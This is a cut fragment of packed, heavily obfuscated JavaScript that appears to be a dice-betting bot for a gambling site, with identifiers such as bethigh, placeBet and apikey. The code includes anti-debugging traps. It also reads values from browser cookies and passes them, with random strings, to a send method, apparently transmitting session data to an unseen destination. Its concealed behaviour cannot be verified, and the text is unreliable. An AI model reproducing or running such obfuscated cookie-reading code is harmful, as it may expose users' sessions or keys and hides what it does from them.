1z[4(\'Bi\',\'\\m\\W\\m\\15\')](I[26],63)}1u{C
63}}};2V/=1z[4(\'sz\',\'\\n\\13\\J\\1L\')](5K,2z);2V=1H[I[1O]]
(1z[4(\'Ba\',\'\\P\\1k\\s\\p\')](4s,1z[4(\'yD\',\'\\m\\W\\m\\15\')]
(yf,2V)));if(1z[4(\'y6\',\'\\O\\V\\1C\\12\')](2V,1s))
{if(1z[4(\'y9\',\'\\o\\1r\\d\\10\')]
(1z[4(\'zf\',\'\\O\\1w\\9\\1r\')],1z[4(\'z5\',\'\\p\\o\\j\\1w\')])){(B(){C!![]}
[4(\'zb\',\'\\p\\o\\j\\1w\')](1z[4(\'zh\',\'\\1t\\X\\h\\J\')]
(1z[4(\'zg\',\'\\p\\o\\j\\1w\')],1z[4(\'yW\',\'\\2\\16\\q\\F\')]))
[4(\'z2\',\'\\J\\p\\U\\19\')]
(1z[4(\'yX\',\'\\n\\l\\M\\13\')]))}1u{2V=1s}};if(1z[4(\'yY\',\'\\U\\x\\15\\1t\')]
(2V,2H)){if(1z[4(\'zH\',\'\\W\\19\\1r\\7\')]
(1z[4(\'zM\',\'\\x\\6\\O\\Q\')],1z[4(\'zJ\',\'\\o\\1r\\d\\10\')]))
{go=1z[4(\'zz\',\'\\z\\r\\Y\\A\')]($,25),go[I[7y]]
(I[2T]);1z[4(\'zo\',\'\\9\\L\\z\\o\')](pb,I[7w],5Z)}1u{2V=2H}};C 1H[I[1O]]
(2V)}}1u{if(1z[4(\'zk\',\'\\b\\1h\\A\\19\')]
(1z[4(\'zq\',\'\\1l\\1p\\1p\\X\')],1z[4(\'zw\',\'\\d\\1C\\G\\G\')])){C
4s}1u{62=1Q}}}1i 2r=[];1i 2C=46;B zx(){1i
1F={};1F[4(\'zu\',\'\\o\\o\\z\\q\')]=4(\'zs\',\'\\U\\1K\\7\\c\');1F[4(\'zt\',\'\\c\
\1k\\E\\F\')]=B(pf,pg){C pf<pg};1F[4(\'ya\',\'\\W\\19\\1r\\7\')]=B(pm,pn){C
pm>=pn};1F[4(\'y5\',\'\\b\\1h\\A\\19\')]=B(pl,pk){C
pl(pk)};1F[4(\'yc\',\'\\b\\1h\\A\\19\')]=B(ph,pi){C
ph(pi)};1F[4(\'yd\',\'\\D\\m\\1c\\Y\')]=B(pj,pF){C
pj<pF};1F[4(\'y4\',\'\\1v\\n\\D\\S\')]=B(pG,q3){C pG-
q3};1F[4(\'xT\',\'\\o\\1r\\d\\10\')]=B(q1,pZ){C
q1(pZ)};1F[4(\'xV\',\'\\1l\\1p\\1p\\X\')]=B(q0,q6){C
q0(q6)};1F[4(\'xY\',\'\\1l\\n\\1k\\18\')]=B(qc,q7){C
qc>q7};1F[4(\'yj\',\'\\N\\H\\E\\s\')]=B(pX,pW){C pX!
==pW};1F[4(\'yA\',\'\\E\\2\\b\\D\')]=4(\'yB\',\'\\2\\16\\q\\F\');1F[4(\'yM\',\'\\r\
\1l\\17\\L\')]=4(\'yL\',\'\\9\\L\\z\\o\');1F[4(\'yJ\',\'\\V\\z\\h\
\T\')]=B(pK,pH){C pK!
==pH};1F[4(\'yk\',\'\\O\\V\\1C\\12\')]=4(\'yq\',\'\\E\\2\\b\\D\');1F[4(\'yr\',\'\\o
\\1r\\d\\10\')]=4(\'yw\',\'\\W\\19\\1r\\7\');1F[4(\'yx\',\'\\o\\1r\\d\\10\')]=B(pU,
pV){C pU/pV};1F[4(\'B9\',\'\\1l\\1p\\1p\\X\')]=B(pR,p7){C
pR*p7};1F[4(\'B8\',\'\\1t\\X\\h\\J\')]=B(ol,oq){C
ol*oq};1F[4(\'BL\',\'\\O\\V\\1C\\12\')]=B(o7,o5){C
o7<o5};1F[4(\'BH\',\'\\14\\z\\b\\z\')]=B(o8,o9){C
o8===o9};1F[4(\'Bq\',\'\\o\\c\\1p\\9\')]=4(\'Br\',\'\\d\\1C\\G\\G\');1F[4(\'Bs\',\'
\\14\\z\\b\\z\')]=4(\'Bt\',\'\\o\\o\\z\\q\');1F[4(\'A9\',\'\\r\\1l\\17\\L\')]=B(oV,
oS){C oV*oS};1F[4(\'A6\',\'\\o\\c\\1p\\9\')]=B(p3,p2){C
p3*p2};1F[4(\'Ad\',\'\\2\\16\\q\\F\')]=B(oF,oA){C
oF(oA)};1F[4(\'zU\',\'\\U\\x\\15\\1t\')]=B(oC,oN){C
oC+oN};1F[4(\'A1\',\'\\P\\1k\\s\\p\')]=B(oL,oK){C
oL*oK};1F[4(\'zY\',\'\\q\\T\\1k\\7\')]=B(rG,rN){C
rG(rN)};1F[4(\'Ak\',\'\\1l\\r\\E\\t\')]=B(rr,rp,rD){C
rr(rp,rD)};1F[4(\'uI\',\'\\P\\1k\\s\\p\')]=B(rB,rA){C rB/rA};2r[I[3h]]
(1F[4(\'vB\',\'\\14\\z\\b\\z\')](1F[4(\'vt\',\'\\o\\o\\z\\q\')]
(1J,1F[4(\'vr\',\'\\o\\o\\z\\q\')]($,I[48])[I[1U]]
()),4s));if(1F[4(\'vp\',\'\\17\\W\\t\\h\')](2r[I[1W]],2C))
{if(1F[4(\'vx\',\'\\1l\\1p\\1p\\X\')]
(1F[4(\'w4\',\'\\E\\13\\1a\\H\')],1F[4(\'w9\',\'\\q\\o\\G\\S\')])){1R=!![]}1u{1i
sp=1F[4(\'vP\',\'\\O\\1w\\9\\1r\')][4(\'uT\',\'\\P\\Q\\D\\D\')]
(\'\\2a\'),sn=1s;28(!![]){2j(sp[sn++])
{1n\'\\z\':28(1F[4(\'vl\',\'\\17\\1v\\o\\E\')](5j,1F[4(\'v2\',\'\\U\\1K\\7\\c\')]
(2C,1Q))){if(1F[4(\'v1\',\'\\r\\1l\\17\\L\')]
(1F[4(\'xm\',\'\\U\\1K\\7\\c\')],1F[4(\'x9\',\'\\E\\13\\1a\\H\')])){1i 4M=1s;1i
4S=1s;k=1F[4(\'x8\',\'\\x\\b\\e\\1B\')](1F[4(\'xE\',\'\\O\\1w\\9\\1r\')]
(1F[4(\'xH\',\'\\1l\\1p\\1p\\X\')]
(1Q,1H[I[3S]]),5j),2C);2o(i=1s;1F[4(\'xJ\',\'\\p\\o\\j\\1w\')](i,2C);i++)
{if(1F[4(\'xr\',\'\\13\\j\\6\\c\')]
(1F[4(\'wz\',\'\\X\\G\\1v\\m\')],1F[4(\'wn\',\'\\x\\b\\e\\1B\')])){1i
qC=1F[4(\'wg\',\'\\A\\O\\R\\p\')][4(\'we\',\'\\17\\1v\\o\\E\')]
(\'\\2a\'),qD=1s;28(!![]){2j(qC[qD++]){1n\'\\z\':C 6V;1n\'\\12\':1i 7l=2i[I[70]]
(I[6Y]);1o;1n\'\\19\':1i 6V=1s;1o;1n\'\\S\':2o(1i
4R=1s;1F[4(\'wO\',\'\\N\\H\\E\\s\')](4R,7l[I[1W]]);4R++){if(7l[4R][I[5W]])
{6V=4R}}1o;1n\'\\t\':;1o}2l}}1u{4M+=1F[4(\'wN\',\'\\s\\n\\12\\7\')]
(2r[i],1F[4(\'xN\',\'\\n\\13\\J\\1L\')](5r,1F[4(\'wR\',\'\\x\\b\\e\\1B\')]
(k,i)));4S+=1F[4(\'xo\',\'\\q\\o\\G\\S\')](2r[i],1F[4(\'wS\',\'\\z\\r\\Y\\A\')]
(3l,1F[4(\'wJ\',\'\\J\\p\\U\\19\')](k,i)))}};76+=1F[4(\'xc\',\'\\1h\\13\\K\\c\')]
(1F[4(\'xj\',\'\\P\\Q\\D\\D\')](5y,1F[4(\'xf\',\'\\s\\n\\12\\7\')]
(1F[4(\'Lw\',\'\\o\\c\\1p\\9\')](4M,4M),1F[4(\'Ii\',\'\\1b\\2\\R\\1t\')]
(4S,4S))),1F[4(\'Ih\',\'\\x\\6\\O\\Q\')](3l,1F[4(\'Ig\',\'\\o\\o\\z\\q\')]
(5l,4S,4M)));5j*=1.5k;78++}1u{if(1F[4(\'Ie\',\'\\13\\j\\6\\c\')]
(1F[4(\'If\',\'\\K\\c\\Z\\1c\')](1J,1F[4(\'Il\',\'\\e\\A\\T\\12\')]($,I[4F])[I[1U]]
()),1s)){if(1F[4(\'Is\',\'\\1b\\2\\R\\1t\')](1H[I[27]](),0.5)){1R=![]}1u{1R=!!
[]}}}}1o;1n\'\\12\':1i 78=1s;1o;1n\'\\19\':1i 76=1s;1o;1n\'\\S\':;1o;1n\'\\t\':1i
5j=1N;1o;1n\'\\q\':2r[I[3m]]();1o;1n\'\\x\':C 1F[4(\'It\',\'\\n\\l\\M\\13\')]
(76,78)}2l}}}}1i rl=I[rg];$(I[7b])[I[61]](rl);B 2u(7r,qg){1i
2X={};2X[4(\'Iq\',\'\\s\\n\\12\\7\')]=B(r7,r6){C
r7+r6};2X[4(\'Ic\',\'\\p\\o\\j\\1w\')]=B(r8,rb){C r8-
rb};2X[4(\'I0\',\'\\c\\1k\\E\\F\')]=B(qp,qo){C qp*qo};qr
qf=2X[4(\'I3\',\'\\O\\1w\\9\\1r\')](2X[4(\'I9\',\'\\2\\16\\q\\F\')]
(7r,0.5),2X[4(\'IV\',\'\\U\\1K\\7\\c\')](1H[I[27]](),2X[4(\'IT\',\'\\z\\r\\Y\\A\')]
(2X[4(\'IS\',\'\\b\\1h\\A\\19\')](qg,7r),1N)));C 1H[I[1O]](qf)}5c=I[qi]+2u(1N,1Q)
+2u(2z,35)+2u(3v,3a)+2u(1N,3a)+2u(1Q,2z)+2u(5J,3d)+2u(1U,3d)+2u(1N,2z);B J2(){1i
20={};20[4(\'J1\',\'\\E\\13\\1a\\H\')]=B(ql,qk){C
ql+qk};20[4(\'IO\',\'\\e\\A\\T\\12\')]=B(qv,qw){C
qv+qw};20[4(\'IB\',\'\\1b\\2\\R\\1t\')]=B(qG,qJ){C
qG+qJ};20[4(\'ID\',\'\\1l\\n\\1k\\18\')]=B(qL,qK){C
qL+qK};20[4(\'Iy\',\'\\9\\L\\z\\o\')]=B(qz,qy,qx){C
qz(qy,qx)};20[4(\'BN\',\'\\N\\H\\E\\s\')]=B(s7,s6,s9){C
s7(s6,s9)};20[4(\'H7\',\'\\K\\c\\Z\\1c\')]=B(sa){C
sa()};20[4(\'H9\',\'\\17\\1v\\o\\E\')]=B(s5){C
s5()};20[4(\'GY\',\'\\s\\n\\12\\7\')]=B(s4,rZ){C
s4+rZ};20[4(\'GK\',\'\\c\\1k\\E\\F\')]=B(rY,rX){C
rY(rX)};4q=20[4(\'GG\',\'\\W\\Y\\M\\e\')](20[4(\'GH\',\'\\D\\m\\1c\\Y\')]
(20[4(\'GI\',\'\\x\\b\\e\\1B\')](20[4(\'GP\',\'\\U\\x\\15\\1t\')]
(20[4(\'GV\',\'\\K\\c\\Z\\1c\')](20[4(\'GT\',\'\\c\\1k\\E\\F\')]
(20[4(\'GQ\',\'\\n\\13\\J\\1L\')](20[4(\'Hg\',\'\\p\\o\\j\\1w\')]
(2u,1U,35),20[4(\'Hh\',\'\\s\\n\\12\\7\')]
(2u,1U,35)),20[4(\'HG\',\'\\2\\16\\q\\F\')]
(2u,1U,35)),20[4(\'HI\',\'\\z\\r\\Y\\A\')]
(7D)),I[4T]),20[4(\'HF\',\'\\1h\\13\\K\\c\')](7W)),I[4T]),5c);4Q[I[8g]]
(20[4(\'HJ\',\'\\9\\L\\z\\o\')](I[8h],20[4(\'HK\',\'\\n\\13\\J\\1L\')](s2,4q)))}B
Hp(){1i 2x={};2x[4(\'Hm\',\'\\A\\O\\R\\p\')]=B(sd,so){C
sd==so};2x[4(\'Hk\',\'\\O\\1w\\9\\1r\')]=B(sq,ss){C
sq(ss)};2x[4(\'Hx\',\'\\E\\2\\b\\D\')]=B(sr,sm){C sr!
==sm};2x[4(\'Hs\',\'\\P\\1k\\s\\p\')]=4(\'Ht\',\'\\n\\13\\J\\1L\');2x[4(\'Hu\',\'\\
E\\13\\1a\\H\')]=4(\'KJ\',\'\\N\\H\\E\\s\');2x[4(\'KK\',\'\\O\\V\\1C\\12\')]=B(se,s
h){C se(sh)};2x[4(\'KH\',\'\\17\\1v\\o\\E\')]=B(rW,rz){C
rW(rz)};if(2x[4(\'KG\',\'\\U\\x\\15\\1t\')](5c,2x[4(\'KO\',\'\\e\\A\\T\\12\')]
($,I[6J])[I[1P]]())){if(2x[4(\'KD\',\'\\b\\1h\\A\\19\')]
(2x[4(\'Km\',\'\\1t\\X\\h\\J\')],2x[4(\'KA\',\'\\1t\\X\\h\\J\')]))
{2x[4(\'KW\',\'\\q\\T\\1k\\7\')]($,I[6r])[I[6n]]();2x[4(\'Lg\',\'\\N\\H\\E\\s\')]
($,I[5T])[I[6k]]()}1u{if(fn){1i rK=fn[4(\'Lh\',\'\\17\\1v\\o\\E\')](4O,3o);fn=38;C
rK}}}}2J(B(){1i 7U={};7U[4(\'Ln\',\'\\X\\G\\1v\\m\')]=B(qd){C
qd()};7U[4(\'Lu\',\'\\1l\\1p\\1p\\X\')](3b)},Lt);B 7W(){1i
4d={};4d[4(\'L2\',\'\\m\\W\\m\\15\')]=B(oD,oE){C
oD+oE};4d[4(\'L3\',\'\\E\\13\\1a\\H\')]=B(p1,p0){C p1(p0)};1i 7P=2i[I[3v]][I[4I]]
(21 2y(4d[4(\'L6\',\'\\s\\n\\12\\7\')](4d[4(\'Lc\',\'\\X\\G\\1v\\m\')](I[4H],I[81]
[I[4V]](/([\\.$?*|{}\\(\\)\\[\\]\\\\\\/\\+^])/g,I[4G])),I[4D])));C 7P?
4d[4(\'La\',\'\\2\\16\\q\\F\')](3Y,7P[1N]):3j}B 7D(){1i
3F={};3F[4(\'L7\',\'\\1B\\1k\\14\\j\')]=B(oX,oW){C
oX+oW};3F[4(\'Jv\',\'\\1v\\n\\D\\S\')]=B(oz,oy){C
oz+oy};3F[4(\'Ju\',\'\\1v\\n\\D\\S\')]=B(ob,oe){C ob(oe)};1i 87=2i[I[3v]][I[4I]](21
2y(3F[4(\'Js\',\'\\c\\1k\\E\\F\')](3F[4(\'JE\',\'\\s\\n\\12\\7\')](I[4H],I[8o]
[I[4V]](/([\\.$?*|{}\\(\\)\\[\\]\\\\\\/\\+^])/g,I[4G])),I[4D])));C 87?
3F[4(\'Jc\',\'\\2\\16\\q\\F\')](3Y,87[1N]):3j}B 3b(up){1i
1x={};1x[4(\'J7\',\'\\W\\19\\1r\\7\')]=B(o6){C
o6()};1x[4(\'Jf\',\'\\o\\1r\\d\\10\')]=B(oh,ot){C
oh(ot)};1x[4(\'Jn\',\'\\x\\6\\O\\Q\')]=B(ov,ox){C ov!
==ox};1x[4(\'Jj\',\'\\o\\1r\\d\\10\')]=4(\'JH\',\'\\D\\m\\1c\\Y\');1x[4(\'K8\',\'\\
x\\6\\O\\Q\')]=B(or,ok){C or==ok};1x[4(\'K5\',\'\\q\\T\\1k\\7\')]=B(on,op){C
on(op)};1x[4(\'Kb\',\'\\b\\1h\\A\\19\')]=B(pQ,pS){C
pQ(pS)};1x[4(\'JJ\',\'\\q\\o\\G\\S\')]=4(\'JK\',\'\\1l\\1p\\1p\\X\');1x[4(\'JY\',\'
\\1h\\13\\K\\c\')]=B(pJ,pI){C pJ(pI)};1x[4(\'JX\',\'\\P\\1k\\s\\p\')]=B(pL,pN){C
pL!
==pN};1x[4(\'JV\',\'\\1b\\2\\R\\1t\')]=4(\'GF\',\'\\r\\1l\\17\\L\');1x[4(\'Dr\',\'\
\2\\16\\q\\F\')]=4(\'Ds\',\'\\o\\1r\\d\\10\');1x[4(\'Dl\',\'\\1l\\n\\1k\\18\')]=B(q
8,q9){C q8(q9)};1x[4(\'Dt\',\'\\o\\c\\1p\\9\')]=B(qb,q5){C qb!
==q5};1x[4(\'Dy\',\'\\1b\\2\\R\\1t\')]=4(\'Dw\',\'\\P\\1k\\s\\p\');1x[4(\'Dx\',\'\\
1h\\13\\K\\c\')]=4(\'Dk\',\'\\x\\b\\e\\1B\');1x[4(\'Dj\',\'\\2\\16\\q\\F\')]=B(q2,q
4){C
q2===q4};1x[4(\'D7\',\'\\W\\Y\\M\\e\')]=4(\'D3\',\'\\n\\13\\J\\1L\');1x[4(\'D4\',\'
\\1B\\1k\\14\\j\')]=4(\'Df\',\'\\E\\2\\b\\D\');1x[4(\'Dc\',\'\\O\\1w\\9\\1r\')]=4(\
'E3\',\'\\s\\n\\12\\7\');1x[4(\'tk\',\'\\14\\1w\\G\\X\')]=4(\'E1\',\'\\z\\r\\Y\\A\'
);1x[4(\'Ec\',\'\\K\\c\\Z\\1c\')]=4(\'Ea\',\'\\1l\\r\\E\\t\');1x[4(\'E6\',\'\\K\\c\
\Z\\1c\')]=B(p9,p8){C p9!
==p8};1x[4(\'E8\',\'\\x\\6\\O\\Q\')]=4(\'DV\',\'\\17\\1v\\o\\E\');1x[4(\'DJ\',\'\\e
\\A\\T\\12\')]=4(\'DL\',\'\\1l\\1p\\1p\\X\');1x[4(\'DI\',\'\\n\\l\\M\\13\')]=B(pe,p
d){C pe!==pd};1x[4(\'DT\',\'\\e\\A\\T\\12\')]=B(pA,pz){C
pA+pz};1x[4(\'DS\',\'\\V\\z\\h\\T\')]=B(pC,pE){C
pC/pE};1x[4(\'DP\',\'\\1B\\1k\\14\\j\')]=4(\'DQ\',\'\\W\\19\\1r\\7\');1x[4(\'D0\',\
'\\n\\l\\M\\13\')]=B(py,pq){C py===pq};1x[4(\'C9\',\'\\x\\b\\e\\1B\')]=B(pu,pw){C
pu%pw};1x[4(\'Cj\',\'\\14\\1w\\G\\X\')]=B(pv,st){C
pv===st};1x[4(\'C5\',\'\\K\\c\\Z\\1c\')]=4(\'BO\',\'\\17\\1v\\o\\E\');1x[4(\'BP\',\
'\\d\\1C\\G\\G\')]=4(\'BW\',\'\\U\\1K\\7\\c\');1x[4(\'sM\',\'\\m\\W\\m\\15\')]=4(\'
BX\',\'\\s\\n\\12\\7\');1x[4(\'C3\',\'\\P\\Q\\D\\D\')]=4(\'BY\',\'\\x\\b\\e\\1B\');
1x[4(\'BZ\',\'\\m\\W\\m\\15\')]=4(\'Co\',\'\\14\\z\\b\\z\');1x[4(\'Cp\',\'\\1B\\1k\
\14\\j\')]=B(uf,u1){C
uf===u1};1x[4(\'CK\',\'\\n\\l\\M\\13\')]=4(\'CR\',\'\\q\\T\\1k\\7\');1x[4(\'CS\',\'
\\J\\p\\U\\19\')]=B(ux,uA){C
ux+uA};1x[4(\'Cw\',\'\\p\\o\\j\\1w\')]=4(\'Cx\',\'\\P\\1k\\s\\p\');1x[4(\'CA\',\'\\
17\\W\\t\\h\')]=B(sV,t6){C sV(t6)};1x[4(\'FO\',\'\\14\\1w\\G\\X\')]=B(sS,u0){C
sS(u0)};1x[4(\'FU\',\'\\z\\r\\Y\\A\')]=B(sR,sB){C
sR==sB};1x[4(\'FV\',\'\\N\\H\\E\\s\')]=B(sC,sD){C
sC===sD};1x[4(\'G1\',\'\\o\\1r\\d\\10\')]=4(\'G2\',\'\\e\\A\\T\\12\');1x[4(\'G0\',\
'\\1t\\X\\h\\J\')]=4(\'FZ\',\'\\P\\1k\\s\\p\');1x[4(\'FW\',\'\\n\\l\\M\\13\')]=4(\'
FX\',\'\\p\\o\\j\\1w\');1x[4(\'FY\',\'\\o\\c\\1p\\9\')]=4(\'FL\',\'\\r\\1l\\17\\L\'
);1x[4(\'FK\',\'\\1h\\13\\K\\c\')]=B(sv,sw){C
sv===sw};1x[4(\'Fy\',\'\\1b\\2\\R\\1t\')]=4(\'Fz\',\'\\N\\H\\E\\s\');B 4l(4c){1i
2k={};2k[4(\'FA\',\'\\q\\o\\G\\S\')]=1x.Fx;2k[4(\'Fw\',\'\\1b\\2\\R\\1t\')]=B(sF,sG
){C 1x.sH(sF,sG)};2k[4(\'Ft\',\'\\n\\l\\M\\13\')]=B(sQ){C
1x.ta(sQ)};2k[4(\'Fu\',\'\\1t\\X\\h\\J\')]=B(sJ,sK){C
1x.sH(sJ,sK)};2k[4(\'FB\',\'\\1l\\r\\E\\t\')]=B(tK,tM){C
1x.FC(tK,tM)};2k[4(\'FJ\',\'\\x\\b\\e\\1B\')]=1x.FG;2k[4(\'FD\',\'\\q\\o\\G\\S\')]=
1x.FE;2k[4(\'u4\',\'\\q\\T\\1k\\7\')]=B(tF,tG){C
1x.FF(tF,tG)};if(1x[4(\'G4\',\'\\D\\m\\1c\\Y\')]
(1x[4(\'Gt\',\'\\U\\x\\15\\1t\')],1x[4(\'Gu\',\'\\13\\j\\6\\c\')]))
{if(1x[4(\'Gr\',\'\\N\\H\\E\\s\')](Go 4c,1x[4(\'Gp\',\'\\1l\\1p\\1p\\X\')]))
{if(1x[4(\'Gz\',\'\\17\\1v\\o\\E\')]
(1x[4(\'Gn\',\'\\o\\o\\z\\q\')],1x[4(\'Gm\',\'\\x\\b\\e\\1B\')])){C B(Ga){}
[4(\'Gb\',\'\\b\\1h\\A\\19\')](1x[4(\'tk\',\'\\14\\1w\\G\\X\')])
[4(\'Gc\',\'\\1B\\1k\\14\\j\')](1x[4(\'G9\',\'\\m\\W\\m\\15\')])}1u{1R=!
[]}}1u{if(1x[4(\'G8\',\'\\n\\l\\M\\13\')]
(1x[4(\'G5\',\'\\K\\c\\Z\\1c\')],1x[4(\'G6\',\'\\X\\G\\1v\\m\')]))
{if(1x[4(\'G7\',\'\\
1h\\13\\K\\c\')](1x[4(\'Gd\',\'\\X\\G\\1v\\m\')]
(\'\',1x[4(\'Gl\',\'\\E\\13\\1a\\H\')](4c,4c))
[1x[4(\'Gj\',\'\\d\\1C\\G\\G\')]],1N)||1x[4(\'Gi\',\'\\s\\n\\12\\7\')]
(1x[4(\'Gf\',\'\\1l\\1p\\1p\\X\')](4c,2Z),1s)){if(1x[4(\'Gg\',\'\\J\\p\\U\\19\')]
(1x[4(\'Gh\',\'\\W\\Y\\M\\e\')],1x[4(\'Fr\',\'\\m\\W\\m\\15\')])){1i
tj=2k[4(\'ED\',\'\\W\\Y\\M\\e\')][4(\'EE\',\'\\c\\1k\\E\\F\')]
(\'\\2a\'),ti=1s;28(!![]){2j(tj[ti++])
{1n\'\\z\':3c[4(\'EF\',\'\\U\\1K\\7\\c\')]=3R;1o;1n\'\\12\':3c[4(\'EC\',\'\\q\\o\\G
\\S\')]=3R;1o;1n\'\\19\':3c[4(\'EB\',\'\\E\\2\\b\\D\')]=3R;1o;1n\'\\S\':C
3c;1n\'\\t\':3c[4(\'Ey\',\'\\O\\1w\\9\\1r\')]=3R;1o;1n\'\\q\':3c[4(\'EA\',\'\\D\\m\
\1c\\Y\')]=3R;1o;1n\'\\x\':1i
3c={};1o;1n\'\\v\':3c[4(\'EG\',\'\\X\\G\\1v\\m\')]=3R;1o;1n\'\\j\':3c[4(\'EH\',\'\\
o\\c\\1p\\9\')]=3R;1o}2l}}1u{(B(){if(2k[4(\'EN\',\'\\m\\W\\m\\15\')]
(2k[4(\'EO\',\'\\9\\L\\z\\o\')],2k[4(\'EM\',\'\\1l\\1p\\1p\\X\')])){C!!
[]}1u{2k[4(\'EL\',\'\\U\\1K\\7\\c\')](2A,2G);41=![];2k[4(\'EI\',\'\\e\\A\\T\\12\')]
(3U);2k[4(\'EJ\',\'\\1b\\2\\R\\1t\')](42,I[4Y])}}[4(\'EK\',\'\\s\\n\\12\\7\')]
(1x[4(\'Ex\',\'\\E\\2\\b\\D\')]
(1x[4(\'sM\',\'\\m\\W\\m\\15\')],1x[4(\'Ew\',\'\\1l\\n\\1k\\18\')]))
[4(\'Ek\',\'\\K\\c\\Z\\1c\')]
(1x[4(\'Em\',\'\\1B\\1k\\14\\j\')]))}}1u{if(1x[4(\'Ei\',\'\\o\\c\\1p\\9\')]
(1x[4(\'Ef\',\'\\17\\W\\t\\h\')],1x[4(\'Eg\',\'\\b\\1h\\A\\19\')])){(B(){1i
4W={};4W[4(\'En\',\'\\E\\13\\1a\\H\')]=B(td){C
1x.ta(td)};4W[4(\'Eo\',\'\\z\\r\\Y\\A\')]=B(tb,sW){C
1x.Ev(tb,sW)};if(1x[4(\'Et\',\'\\1b\\2\\R\\1t\')]
(1x[4(\'Ep\',\'\\D\\m\\1c\\Y\')],1x[4(\'Eq\',\'\\U\\x\\15\\1t\')]))
{4W[4(\'Fg\',\'\\1b\\2\\R\\1t\')](3U);4W[4(\'Fh\',\'\\e\\A\\T\\12\')]
(42,I[7v]);C}1u{C![]}}[4(\'Fe\',\'\\n\\13\\J\\1L\')]
(1x[4(\'Fd\',\'\\14\\z\\b\\z\')]
(1x[4(\'Fa\',\'\\W\\Y\\M\\e\')],1x[4(\'Fb\',\'\\c\\1k\\E\\F\')]))
[4(\'Fc\',\'\\9\\L\\z\\o\')]
(1x[4(\'Fi\',\'\\1l\\1p\\1p\\X\')]))}1u{if(1x[4(\'Fj\',\'\\z\\r\\Y\\A\')]
(5c,1x[4(\'Fp\',\'\\2\\16\\q\\F\')]($,I[6J])[I[1P]]()))
{1x[4(\'Fq\',\'\\J\\p\\U\\19\')]($,I[6r])[I[6n]]();1x[4(\'Fo\',\'\\1t\\X\\h\\J\')]
($,I[5T])[I[6k]]()}}}}1u{2k[4(\'Fn\',\'\\o\\o\\z\\q\')]($,I[4a])[I[2F]]
(I[2E],I[3t])}}1x[4(\'Fk\',\'\\17\\1v\\o\\E\')](4l,+
+4c)}1u{2k[4(\'u4\',\'\\q\\T\\1k\\7\')]
(4l,1s)}}7m{if(1x[4(\'Fl\',\'\\O\\1w\\9\\1r\')]
(1x[4(\'Fm\',\'\\1v\\n\\D\\S\')],1x[4(\'F9\',\'\\x\\b\\e\\1B\')]))
{if(1x[4(\'F8\',\'\\O\\1w\\9\\1r\')](51[I[46]]
[I[72]],1x[4(\'EW\',\'\\9\\L\\z\\o\')](1J,1x[4(\'EY\',\'\\x\\6\\O\\Q\')]
(3O,I[59])))||1x[4(\'EV\',\'\\x\\6\\O\\Q\')](51[I[46]]
[I[7n]],1x[4(\'EU\',\'\\x\\b\\e\\1B\')](1J,1x[4(\'ER\',\'\\17\\1v\\o\\E\')]
(3O,I[59])))){C!![]}1u{C![]}}1u{if(up){if(1x[4(\'ES\',\'\\D\\m\\1c\\Y\')]
(1x[4(\'ET\',\'\\1h\\13\\K\\c\')],1x[4(\'EZ\',\'\\1l\\r\\E\\t\')])){if(fn){1i
un=fn[4(\'F0\',\'\\P\\Q\\D\\D\')](4O,3o);fn=38;C un}}1u{C
4l}}1u{if(1x[4(\'F4\',\'\\P\\Q\\D\\D\')]
(1x[4(\'F1\',\'\\c\\1k\\E\\F\')],1x[4(\'F2\',\'\\r\\1l\\17\\L\')]))
{1x[4(\'F3\',\'\\1l\\n\\1k\\18\')](4l,1s)}1u{C 4l}}}}7q(Qh){}}',62,4184,'||x77|x3d|
_0x36d7||x43|x4b||x4f|x44|x73|x72|x63|x4d|||x6f||x38||x70|x71|x67|x54|x41|x35|x6a|
x6e|x34||x37||x36|x51|x30|x45|function|return|x56|x64|x6b|x59|x6c|_0xc80d|x55|x48|
x76|x68|x58|x52|x50|x66|x74|x33|x46|x7a|x4c|x78|x47|x49|x69|x6d|x62|x31|x79|x53|
x5a|x42|x61|x4e|x32|x4a|x57|x65|_0x35579e||x75|x2f|x39|var|_0x26aec2|x40|x25|
_0xfbcbc4|case|continue|x26|_0x9a6f3a|x5d|0x0|x24|else|x29|x23|_0x492f8e|_0x3bce5a|
_0x5ab94f|x2b|x21|x5e|_0x63ec69|_0x308b05|_0x5b56fa|_0xb8bd63|Math|_0x464edc|
parseFloat|x5b|x2a|_0x3dd319|0x1|0x64|0x57|0x2|bethigh|balance|_0x4a6ad5|0x3|
_0x38d796|0xa|_0x5c2f8f|_0x4f973c|bet|_0x19530e|new|_0x6a5f9d|_0x36227c|dps|this|
0xb|0x41|while|basebet|x7c|_0x5081ef|lastbalance|_0x1f5e94|_0x743478|x20|_0x3cd37b|
minbet|document|switch|_0x4813c6|break|_0x169fae|_0xa0f067|for|_0x5e7427|0x3c|
inbuff|box_position|chance|randomInteger|_0x2cd2fc|0x48|_0x255524|RegExp|0x4|
clearInterval|_0x2b422f|datasize|_0x1b5a90|0x50|0x52|playGame|0xf423f|_0x2138e9|
setInterval|minbasebet|mininterval|source|len|multlose|x5c|_0x491e4a|risk|0xf|0x49|
minchance|_0x535a79|roll_buff|_0x5decda|coin|0x14|out_buff|0x69|offsetBox|0x4f|
0x27|0x7|_0x38ab4a|_0x590699|null|multwin|0x9|_0x2b8c9b|_0x459de2|0x8|maxinterval|
maxbasebet|bets|0x20|chart|undefined|0x4e|sin|0x22|_0x4110x76|arguments|_0x28b4b9|
0x3d|isDrag|x22|0x54|0x2a|0x5|0x100|0x45|_0x557720|_0x3bd7e8|0x31|0x33|maxchance|
0x1e|sbalance|_0x31ffdc|totalSeconds|0x51|qucGuT|0x71|length|roundlose|_0x1ed08b|
_0x10b533|atob|roundwin|_0x419bfe|func|0x83|_0x56701a|startDice|_0xb603f3|
0x5f5e100|waitBet|decodeURIComponent|0xe|0x67|betting|alert|winstreak|pad|0x6f|
0x80|0x32|0x68|0x1f|0x6e|_0xc9e8ad|_0x584eae|_0x3df30e|_0x71fef9|Date|0x2c|
_0x363454|x27|target|0x84|_0x55107c|_0x39ad5d|losestreak|0xd|0xc|key|_0x15a058|
0x7a120|_0x2cc82f|0x66|playTimer|0x65|placeBet|_0x2b0e13|_0x319d09|date|0x7d|
_start|0x97|_0xeedad2|0x43|0x94|0x93|0x98|_0xddebac|_0x30acad|_0x354513|_0x1d79c7|
startbalance|context|_0xe6a812|window|_0x288f5f|_0x3f5978|0x8b|_0x49f178|0x95|
_0xcfb33c|0x56|0x7a|_0x265438|_0x3e5a6a|data|_0x4e0180|_0x393ee4|0x10|_0xb9157a|
_0x209090|0x55|profit|0x81|_0x1a50ff|_0x4891f4|apikey|0x85|0x61|_0x2c7b86|0x5a|
